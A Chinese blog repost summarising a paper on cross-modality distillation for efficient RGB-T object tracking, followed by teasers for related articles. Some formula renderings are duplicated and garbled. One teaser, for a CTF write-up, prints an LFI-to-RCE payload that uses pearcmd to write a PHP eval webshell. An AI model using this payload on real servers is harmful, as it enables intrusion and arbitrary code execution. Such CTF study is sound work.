Efficient RGB-T Tracking via Cross-Modality Distillation

news2024/11/20 4:31:40

image-20231129140333971

摘要

目前大多数RGB-T跟踪器采用双流结构来提取单个RGB和热红外特征,并采用复杂的融合策略来实现多模态特征融合,这需要大量的参数,阻碍了它们的实际应用。另一方面,一个紧凑的RGB-T跟踪器可能具有计算效率,但由于特征表示性能的减弱,会遇到不可忽视的性能下降。为了解决这种情况,提出了一种跨模态蒸馏框架来弥合紧凑跟踪器和强大跟踪器之间的性能差距。本文提出了一种特定公共特征蒸馏模块,将模态公共信息和特定模态的信息从较深的双流网络转换为较浅的单流网络。此外,提出了一种多路径选择蒸馏模块,指导简单的融合模块从设计良好的融合机制中学习更准确的多模态信息。我们在三个RGB-T基准测试上通过大量的实验验证了我们的方法的有效性,这实现了最先进的性能,但消耗了更少的计算资源。

介绍

image-20231129141629795

RGB-T跟踪是一种估计RGB-T视频序列的每一帧中任意目标的状态的任务。由于热红外(TIR)传感器的可承受性,RGB-T跟踪引起了越来越多的研究兴趣。如图1 (a)所示,大多数现有的RGB-T跟踪模型首先采用双流结构分别提取多级单峰RGB和TIR特征,然后利用精心设计的多模态特征融合模块来利用多模态数据中的互补信息。最后,他们从融合的特征中推导出目标状态,通常由一个边界框表示。最后,他们从融合的特征中推导出目标状态,通常由一个边界框表示。虽然已经取得了很大的进展,但这些强大的RGB-T跟踪模型在单模态特征提取和多模态特征融合阶段,通常需要较高的计算成本和较大的模型规模来处理两种模态的信息。

有两种直接的解决方案来解决复杂性和效率的问题。一种是采用卷积层较少的单流特征提取器,另一种是采用更简单的多模态特征融合模块,如图1 (b).所示。虽然这种紧凑的模型可以降低计算复杂度,但由于单模态特征表示能力和多模态互补信息探索能力的减弱,它们不可避免地会带来不可忽视的性能下降。例如,一个具有双流结构和复杂多模态特征融合模块的强大RGB-T跟踪器在经过上述模型简化操作后性能严重下降(RGBT234数据集的精度为84.4%vs精度为78.1%),如图2所示。

image-20231129141737220

现在,研究的问题变成了:我们可以在不牺牲性能的情况下缩小RGB-T跟踪器吗?本文利用知识蒸馏技术回答了这个问题,使紧凑的模型能够以较小的成本获得复杂模型的相似能力。我们称这个复杂但功能强大的模型为教师模型,并称这个紧凑的模型为学生模型。虽然一些工作取得了相当大的进步知识蒸馏的任务,他们未能进行深入调查师生之间的巨大特征差异在单模态特征提取阶段以及在多模态特征融合阶段,从而导致次优效率的知识转换。为此,提出了一种新的师生知识蒸馏训练框架,即交叉模态蒸馏(CMD),从单模态特征提取、多模态特征融合和目标估计估计三个阶段精心指导有效模仿,如图1 ©.所示。

具体来说,在单模态特征提取阶段,正如许多前人的著作所指出的那样,单模态特征的浅层通常包含丰富的低层次空间细节,这通常依赖于模态。不同的是,单模态特征的深层往往包含许多高级语义线索,这些线索往往具有强烈的模态一致性。学生模型使用紧凑的单流网络提取RGB特征和TIR特征,不仅缺乏浅层提取特定模态信息的能力,而且缺乏深层对模态公共信息的探索。这些有趣的观察结果启发我们设计一个特定公共特征蒸馏(SCFD)模块,该模块将模态公共信息从双流较深的网络转换为单流较浅的网络。

其次,在多模态特征融合阶段,教师模型中的复杂多模态特征融合模块在各种场景下都表现出很大的优势,而学生模型中的简单融合策略在某些特定场景下通常是有效的。由于巨大的特征差异,一个学生模型采用单一的简单融合策略,很难从一个复杂的教师模型中学习到更有效的互补信息挖掘能力。因此,我们在学生模型中设计了一个具有多种简单融合策略的融合模块,表示为多路径选择蒸馏(MPSD)模块。在从教师模型学习的过程中,学生模型可以自适应地结合不同类型的融合特征,以弥补单一简单融合策略缺乏互补的信息挖掘能力的不足。

最后,在目标状态估计阶段,随着学生模型的特征表示能力的减弱,跟踪器对干扰物的识别能力也会降低。为此,我们进一步提出了一个硬聚焦反应蒸馏(HFRD)模块,通过缓解目标和背景之间的数据不平衡问题来提高学生模型的辨别能力,它使用了由教师模型生成的响应图来指导学生专注于从硬负样本中区分目标。

如图2所示,我们提出的每个模块在没有明显增加参数数量的情况下,不断缩小了学生模型与教师模型之间的表现差距。综上所述,我们的工作显著地改进了RGB-T跟踪器,因为它有以下两个贡献:

  • 提出了一种跨模态蒸馏(CMD)框架,通过单模态特征提取、多模态特征融合和目标状态估计三个阶段来弥补紧凑的学生模型和强大的教师模型之间的性能差距。据我们所知,我们首先引入了用于多模态跟踪的知识蒸馏技术。

  • 实验结果表明,我们提出的方法有助于学生模型在具有挑战性的GTOT、RGBT234 和LasHer上达到最先进的性能,同时减少了参数的数量和计算复杂度。

相关工作

  • RGB-T Tracking Methods.

  • Knowledge Distillation Methods.

Distilled RGB-T Tracking

给出了一个强大的RGB-T跟踪教师模型,所提出的CMD框架旨在促使一个更有效的学生模型从教师模型中学习。将教师模型中的知识转移到学生模型中,以模拟更有效的特征表示。本节首先概述了建议的CMD框架。然后,我们简要介绍了被雇佣的教师和学生模型。最后,详细介绍了所提出的三个知识蒸馏模块(即SCFD、MPSD和HFRD)。

概述

如图3所示,所提出的CMD框架包括一个教师模型、一个学生模型和三个知识蒸馏模块。

image-20231129143405765

教师模型以一对RGB-T图像为输入,分别采用双流特征提取器和几个复杂的多模态特征融合模块进行单模态特征提取和多模态融合。最后,将融合后的特征输入目标状态估计模块,得到最终的跟踪结果。

与教师模型不同,学生模型使用了一个单流特征提取器和几个有效的多模态融合模块。虽然学生模型具有较高的运行速度,但模型的简化不可避免地会导致跟踪性能的下降。

为了弥补学生模式和教师模式之间的巨大的表现差距,提出的CMD框架试图从三个阶段来指导学生模型的学习过程:单模态特征提取、多模态特征融合和目标状态估计。因此,在第一阶段,通过使用提出的SCFD模块,强大的双流特征提取网络将这些特定模态信息和模态公共信息转移到学生模型的单流网络中,以增强其对单模态特征的表示能力。在第二阶段,我们将提出一个MPSD模块来缩小教师模型获得的融合特征与学生模型通过多路径优化策略获得的融合特征之间的差异。在第三阶段,我们提出一个HFRD模块,采用空间注意形式的教师模型生成的响应图,指导学生模型关注对困难样本的辨别,从而提高其辨别能力。上述三个阶段的改进将有效地缩小学生模型与教师模型之间的表现差距,使学生模型能够实现与教师模型相匹配的竞争性跟踪结果,但具有更少的参数和更高的计算效率。

教师和学生模型

在本节中,我们将描述所雇佣的教师和学生模型的架构,它们都是基于最近的RGB跟踪器DiMP。如图4所示,教师模型和学生模型均可分为三个阶段:单模态特征提取、多模态特征融合和目标状态估计。

image-20231129144309315

  • Feature extraction

在教师模型中,两个特征提取器,即 E r g b E_{rgb} Ergb E t h e E_{the} Ethe,并行地考虑RGB和TIR模式。这两个特征提取器均采用ResNet50为骨干,提取多级RGB和TIR特征,如图4 (a).所示。不同的是,在学生模型中,只有一个特征提取器,即 E s t u E_{stu} Estu,可以同时考虑RGB和TIR模式。如图4 (b)所示, E s t u E_{stu} Estu只是采用ResNet18为骨干进行简化。与原始的DiMP跟踪器类似,在教师模型和学生模型中,我们使用第3块和第4块的特征进行回归,并且只使用第4块的特征进行分类。从教师模型中提取的RGB和TIR特征分别表示为 f t r g b i ft^i_{rgb} ftrgbi f t t i r i ft^i_{tir} fttiri,和从学生模型中提取的RGB和TIR特征分别表示为 f s r g b i fs^i_{rgb} fsrgbi f s t i r i fs^i_{tir} fstiri,其中i∈{1、2、3、4}指标的特征水平。

  • Multi-modal feature fusion

通过对RGB和TIR特征的3、4层进行多模态融合模块,分别得到了教师模型中的融合特征 f t f u s 3 ft^3_{fus} ftfus3 f t f u s 4 ft^4_{fus} ftfus4,以及学生模型中的融合特征 f s f u s 3 fs^3_{fus} fsfus3 f s f u s 4 fs^4_{fus} fsfus4。我们的教师模型采用了一个模态差分补偿(MDC)模块和一个特征再选择模块(FRS),用于多模态特征融合。不同的是,我们的学生模型利用了所提出的MPSD模块来进行多模态特征融合。MPSD的细节将在第3.4节中介绍。

  • Classification and regression

最后,这些融合的特征将被输入到分类和回归头中,它们与原始的DiMP具有相同的架构。特别是在这一阶段,学生模型和教师模型都应用了DiMP中的原始分类头和回归头。有关更多细节,请请读者参阅。

Specific-Common Feature Distillation(SCFD)

本节阐述了提出的两阶段单模态特征蒸馏SCFD模块,该模块使学生模型中的单流特征提取模块能够从教师模型中学习模态公共信息以及特定模态的信息,如图5 (a).所示

image-20231129145306567

我们首先对教师模型中的单模态RGB特征和TIR特征进行跨模态交互,分别突出不同层的模态公共信息和模态特定信息,以便更好地指导学生模型的学习。具体来说,如图5 (b)所示,给定教师模型中浅层的单模态特征(即{ f t r g b i ft^i_{rgb} ftrgbi|i = 1,2,3}和{ f t t i r i ft^i_{tir} fttiri|i = 1,2,3}),利用所提出的特定增强模块(SEMs),通过减法和乘法获得了具有更多模态交互信息的 f e r g b i fe^i_{rgb} fergbi f e t i r i fe^i_{tir} fetiri(i = 1,2,3)。数学上,

image-20231129145750843

其中 $\ominus \oplus \otimes $ 分别表示元素减法、元素加法和元素乘法。$ft^i_{rgb} \otimes ft^i_{tir} 反映了 r g b 和 t i r 特性中的联合有效信息。而 反映了rgb和tir特性中的联合有效信息。而 反映了rgbtir特性中的联合有效信息。而ft^i_{rgb} \ominus fti_{tir}$代表了rgb模态与tir模态的特异性信息。同样,关于RGB模态的TIR的模态信息可以通过$fti_{tir} \ominus fti_{rgb}$获得。因此,$fei_{rgb} 和 和 fei_{tir}$在共同保留有效信息外,还强调了这些特定的信息,可用于指导浅层学生模型的特征学习。另外,对于深层的RGB和TIR特征($ft4_{rgb}、ft^4_{tir} ),采用提出的一致性增强模块( C E M )通过加法和乘法获得具有更多模态公共信息的模交互特征 ),采用提出的一致性增强模块(CEM)通过加法和乘法获得具有更多模态公共信息的模交互特征 ),采用提出的一致性增强模块(CEM)通过加法和乘法获得具有更多模态公共信息的模交互特征fc^4$,如图5 ©.所示。数学上,

image-20231129150514944

在此,通过对$ft4_{rgb}、ft4_{tir} 应用元素级加法,可以进一步增强多模态数据中高级语义线索的一致性。因此, 应用元素级加法,可以进一步增强多模态数据中高级语义线索的一致性。因此, 应用元素级加法,可以进一步增强多模态数据中高级语义线索的一致性。因此,fc^4$可以更好地指导学生模型的深层学习。

利用教师模型的形态交互特征,下一步是调整学生模型的特征通道维度,使其与教师模型的特征通道维度保持一致。在此,受知识评论思想的启发,我们采用了一系列基于注意力的融合(ABF)模块来调整单模态特征的通道维度,并在学生模型中动态聚合跨层特征。修改学生模型的特征(即{ f u r g b i ∣ i = 1 , 2 , 3 , 4 fu^i_{rgb}|i=1,2,3,4 furgbii=1,2,3,4}和{ f u t i r i ∣ i = 1 , 2 , 3 , 4 fu^i_{tir}|i=1,2,3,4 futirii=1,2,3,4})和教师模型的模态交互特征(即{ f e r g b 1 − 3 , f c 4 fe^{1-3}_{rgb},fc^4 fergb13,fc4},{ f e t i r 1 − 3 , f c 4 fe^{1-3}_{tir},fc^4 fetir13,fc4}),迫使学生模型通过提出的特征学习模拟教师模型的具体通用信息,蒸馏损失 L S C F D L_{SCFD} LSCFD,表述为:

image-20231129151923843

其中,l(∗)表示中所使用的标准MSE损失。

Multi-path Selection Distillation(MPSD)

image-20231129160116031

为了更有效地从教师模型中学习互补信息的探索能力,我们在学生模型中设计了一个使用多种融合策略的融合模块,表示为多路径选择蒸馏(MPSD)模块。在从教师模型出发的学习过程中,学生模型可以自适应地优化路径,以减少特征差异。

具体来说,在学生模型中,所提出的MPSD模块首先从模态差异、模态共性和模态互补三个典型角度进行多模态特征融合。给出原本的RGB特征 f s r g b i fs^i_{rgb} fsrgbi和TIR特征 f s t i r i fs^i_{tir} fstiri从学生模型中的第三和第四层,计算三种初始融合特征 f s f u s , 1 i 、 f s f u s , 2 i 和 f s f u s , 3 i fs^i_{fus,1}、fs^i_{fus,2}和fs^i_{fus,3} fsfus,1ifsfus,2ifsfus,3i:

image-20231129152747240

这里,sa(∗)表示空间注意机制,首先利用核大小为1×1的卷积层和softmax层得到一个双通道权重图。然后将双通道权值图分为两个可靠性权值图,分别选择RGB特征和TIR特征。从数学上讲,自我注意机制表现为:

image-20231129152930986

其中,cat(∗)表示连接操作,conv(∗,θ1)表示1×1的卷积层,其参数为θ1。.σ(∗)表示sigmoid层。特征 f s f u s , 1 i fs^i_{fus,1} fsfus,1i主要反映了多模态数据中的互补信息。特征 f s f u s , 2 i 和 f s f u s , 3 i fs^i_{fus,2}和fs^i_{fus,3} fsfus,2ifsfus,3i分别再现了它们的交互信息和差异信息。

然后, f s f u s , 1 i 、 f s f u s , 2 i 和 f s f u s , 3 i fs^i_{fus,1}、fs^i_{fus,2}和fs^i_{fus,3} fsfus,1ifsfus,2ifsfus,3i通过加权融合的方式进一步组合在一起,即:

image-20231129153253181

其中,gmp(∗)和fc(∗)分别表示全局最大池化层和全连接层。softmax(∗)表示softmax操作。

特征权重 w 1 i 、 w 2 i 、 w 3 i w^i_1、w^i_2、w^i_3 w1iw2iw3i反映了不同融合特性对当前场景的重要性。$\odot $表示广播乘法操作。

利用教师模型和学生模型分别得到的融合特征{ f t f u s i i ∣ i = 3 , 4 ft^i_{fus}i|i=3,4 ftfusiii=3,4}和{ f s f u s i i ∣ i = 3 , 4 fs^i_{fus}i|i=3,4 fsfusiii=3,4},我们计算了特征之间的融合蒸馏损失 L f u s L_{fus} Lfus

image-20231129154109044

此外,为了使学生模型能够自适应地选择一个在不同场景下与教师模型更相似的融合路径,我们引入了一个额外的惩罚 L p L_p Lp来提高训练过程中知识转换的效率。更具体地说,我们首先选择学生模型的初始融合特征与教师模型的融合特征之间差异最小的融合类型,

image-20231129154234966

其中, λ i λ^i λi =1、2或3表示根据师生模型之间的融合特征差异所选择的初始融合特征类型。

然后,通过MPSD中的自适应选择部分,学生模型本身也将预测一种适合于当前跟踪场景的初始融合特征,即:

image-20231129154438770

其中, ν i = 1 、 2 或 3 ν^i =1、2或3 νi=123表示学生模型中初始融合特征的预测类型。

w v i i w^i_{v^i} wvii w λ i i w^i_{λ^i} wλii一起,在教师模型的指导下,我们可以使用一个惩罚来帮助学生模型选择一个更适合当前场景的融合路径,

image-20231129154732452

通过最小化 L p , w v i i 和 w λ i i L_p,w^i_{v^i}和w^i_{λ^i} Lpwviiwλii将趋于一致,从而使学生模型能够根据教师模型自适应地选择融合路径,从而提高互补信息的探索能力。

除此之外,在多模态融合阶段的整体蒸馏损失可以通过以下方法得到:

image-20231129155132740

Hard-focused Response Distillation(HFRD)

为了缓解数据不平衡的问题,我们提出了硬聚焦反应蒸馏(HFRD)模块来指导学生专注于区分目标和硬负样本。

首先,我们从教师模型中得到响应图 R t ∈ R H × W R_t∈R^{H×W} RtRH×W。然后,为了防止教师模型在某些场景中对目标区域没有高反应,我们使用由地面-真值边界框构造的高斯形掩模 R g ∈ R H × W R_g∈R^{H×W} RgRH×W来修正教师模型 R t R_t Rt的响应图如下:

image-20231129155350667

其中,i,j分别为响应图的水平坐标和垂直坐标。校正后的掩模 R c ∈ R H × W R_c∈R^{H×W} RcRH×W不仅对阳性样本,而且对硬阴性样本也有较高的响应值。在学生模型的训练过程中,在教师模型中校正后的掩码响应图 R c R_c Rc的帮助下,学生模型可以通过提出的硬焦点反应蒸馏损失 L H F R D L_{HF RD} LHFRD来区分目标和硬负样本,以缓解数据不平衡问题:

image-20231129155636434

其中,r(∗)表示L2损失函数。

Overall loss

蒸馏总损失为 L S C F D 、 L M P S D 和 L H F R D L_{SCFD}、L_{MPSD}和L_{HF RD} LSCFDLMPSDLHFRD之和。我们对学生模型的总损失进行训练如下:

image-20231129155914080

其中,α和β是平衡蒸馏损失的超参数。 L o r i g i n a l L_{original} Loriginal是跟踪的原始损失。蒸馏损失 L S C F D 、 L M P S D L_{SCFD}、L_{MPSD} LSCFDLMPSD只是在特征图上计算出来的,可以很容易地应用于不同的跟踪器或其他多模态视觉任务。

实验

更多实验,看原文。

image-20231129160859960

image-20231129160401736

结论

本文提出了一种新的师生知识精馏训练框架,以减少强大的教师模型和紧凑的学生模型之间的绩效差距。具体来说,该框架将知识从具有复杂多模态特征融合模块的深度双流网络提取到具有高效特征融合模块的单流网络。利用所提出的SCFD模块,可以在单模态特征提取阶段将模态公共信息和模态特定信息从双流网络转换为单流网络,从而增强了单峰特征的表示。此外,通过使用所提出的MPSD模块,学生模型可以自适应地组合由各种简单融合策略生成的多个融合特征,从而更深入地探索多模态数据中的互补信息。此外,还提出了一个HFRD模块,通过缓解目标状态估计阶段的数据不平衡问题,来提高学生模型对干扰物的鉴别能力。实验结果表明,该方法在显著降低参数数量和计算复杂度的同时,大大降低了最先进的性能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1269608.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

01数仓平台 Hadoop介绍与安装

Hadoop概述 Hadoop 是数仓平台的核心组件。 在 Hadoop1.x 时代,Hadoop 中的 MapReduce 同时处理业务逻辑运算和资源调度,耦合性较大。在 Hadoop2.x 时代,增加了 Yarn。Yarn 只负责资源的调度,MapReduce 只负责运算。Hadoop3.x 在…

开源好用EasyImages简单图床源码

开源好用EasyImages简单图床源码分享,虽然它是开源程序,但功能一点也不弱,不仅支持多文件上传、文字/图片水印、支持API和鉴黄、还能自定义代码,最重要的是它不强制使用数据库运行,这就给我们的部署和维护带来极大方便…

GDPU 数据结构 天码行空12

文章目录 数据结构实验十二 图的遍历及应用一、【实验目的】二、【实验内容】三、实验源代码🍻 CPP🍻 C 数据结构实验十二 图的遍历及应用 一、【实验目的】 1、 理解图的存储结构与基本操作; 2、熟悉图的深度度优先遍历和广度优先遍历算法…

RabbitMQ快速学习之WorkQueues模型、三种交换机、消息转换器(基于SpringBoot)

文章目录 前言一、WorkQueues模型消息发送消息接收能者多劳 二、交换机类型1.Fanout交换机消息发送消息接收 2.Direct交换机消息接收消息发送 3.Topic交换机消息发送消息接收 三、编程式声明队列和交换机fanout示例direct示例基于注解 四、消息转换器总结 前言 WorkQueues模型…

借助 DPM 代码扫描的力量解锁医疗设备的可追溯性

在当今的医疗保健系统中,医疗设备的可追溯性变得比以往任何时候都更加重要。为了增强现代医疗保健领域的可追溯性和安全性,UDI 条形码充当唯一设备标识的标准,为医疗设备提供唯一标识符。 DataMatrix 代码(或直接零件标记代码&am…

矩阵代数与MATLAB实现(特征值、广义特征值、酋矩阵、)

矩阵代数的相关知识 目录 一、特征值与特征向量 1、特征值与特征向量 2、MATLAB计算 二、广义特征值与广义特征向量 1、广义特征值与广义特征向量 2、MATLAB计算 三、酋矩阵 1、酋矩阵 2、MATLAB计算 四、未完待续 总结 提示:以下是本篇文章正文内容&…

动态规划:解决复杂问题的利器(下)

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…

Android控件全解手册 - 多语言切换完美解决方案(兼容7.0以上版本)

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC 👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分…

深入理解OS--硬件高速缓存,缓存一致性,存储设备

存储技术 1.SRAM,DRAM 静态:更快,用作高速缓存存储器。处理器高速缓存采用SRAM。 动态:用作主存及图形系统的帧缓冲区。内存采用DRAM。 2.内存 2.1.内存数据访问示例 设备控制器存在缓存。设备芯片自身存在缓存。 2.2.采用并行…

Spring不再支持Java8了

在今天新建模块的时候发现了没有java8的选项了,结果一查发现在11月24日,Spring不再支持8了,这可怎么办呢?我们可以设置来源为阿里云https://start.aliyun.com/ 。 java8没了 设置URL为阿里云的地址

【Web】NewStarCTF Week3 个人复现

①Include &#x1f350; ?filephpinfo 提示查下register_argc_argv 发现为on LFI包含 pearcmd命令执行学习 pearcmd.php文件包含妙用 ?file/usr/local/lib/php/pearcmd&config-create/<?eval($_POST[a])?>./ha.php ?file./ha post传&#xff1a; asystem…

赛博朋克-MISC-bugku-解题步骤

——CTF解题专栏—— 题目信息&#xff1a; 题目&#xff1a;赛博朋克 作者&#xff1a;Mooooooof 提示&#xff1a; 解题附件&#xff1a; 解题思路&#xff1a; 赛博朋克是个txt文件&#xff1f;&#xff1f;&#xff1f;&#xff0c;不是个game.exe吗&#xff08;开玩笑…

3D场景建模工具

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 1. 什么是3D场景建模&#xff1f; 3D场景建模是一种通过计算机图形学技术&#xff0c;将现实世…

如何跑通跨窗口渲染:multipleWindow3dScene

New 这是一个跨窗口渲染的示例&#xff0c;用 Three.js 和 localStorage 在同一源&#xff08;同产品窗口&#xff09;上跨窗口设置 3D 场景。而这也是本周推特和前端圈的一个热点&#xff0c;有不少人在争相模仿它的实现&#xff0c;如果你对跨窗口的渲染有兴趣&#xff0c;可…

pdf文件编辑,[增删改查]

pdf文件是投标文件中必不可少的格式&#xff0c;传统的方式先编辑word格式&#xff0c;最后生成pdf&#xff0c;但是有时候需要直接编辑pdf文件&#xff0c;编辑pdf的工具无疑 “adobe acrobat dc”是最好用的之一了 1.把图片文件添加到pdf指定位置&#xff0c;例如把一张图片添…

zookeeper集群(很少用)+kafka集群(常用)

一、zookeeper zookeeperkafka&#xff08;2.7.0版本&#xff09; kafka&#xff08;3.4.1版本&#xff09;不依赖于zookeeper 1、定义&#xff1a;zookeeper开源&#xff0c;分布式架构&#xff0c;提供协调服务&#xff08;Apache项目&#xff09;&#xff0c;基于观察者模…

【C语言】把歌词里的播放时间跟歌词提取出来

一&#xff0c;介绍 给到一个字符串&#xff0c;里面包含了时间&#xff08;唱该歌词的时间以及该歌词&#xff09;例如“[02:16.33][04:11.44][05:11.44]我想大声宣布对你依依不舍”&#xff0c;如何把两者都给打印出来呢&#xff1f;下面给出解释 二&#xff0c;代码 #incl…

<蓝桥杯软件赛>零基础备赛20周--第8周第1讲--十大排序

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周&#xff08;读者可以按…

fastadmin 如何引入自己的js

在需要的界面中&#xff1a;如何实例说明&#xff1a; 中<script> function zhuruJs(url) { let temp document.createElement( script ); temp.setAttribute( type, text/javascript" );temp.src urL; document.head . appendChild(temp); zhuruJs(location…

轻松愉悦的验证方式:实现图片旋转验证功能

说在前面 在当今互联网时代&#xff0c;随着技术的不断进步&#xff0c;传统的验证码验证方式已经无法满足对安全性和用户体验的需求。为了应对日益狡猾的机器人和恶意攻击&#xff0c;许多网站和应用程序开始引入图形验证码&#xff0c;其中一种备受欢迎的形式就是图片旋转验证…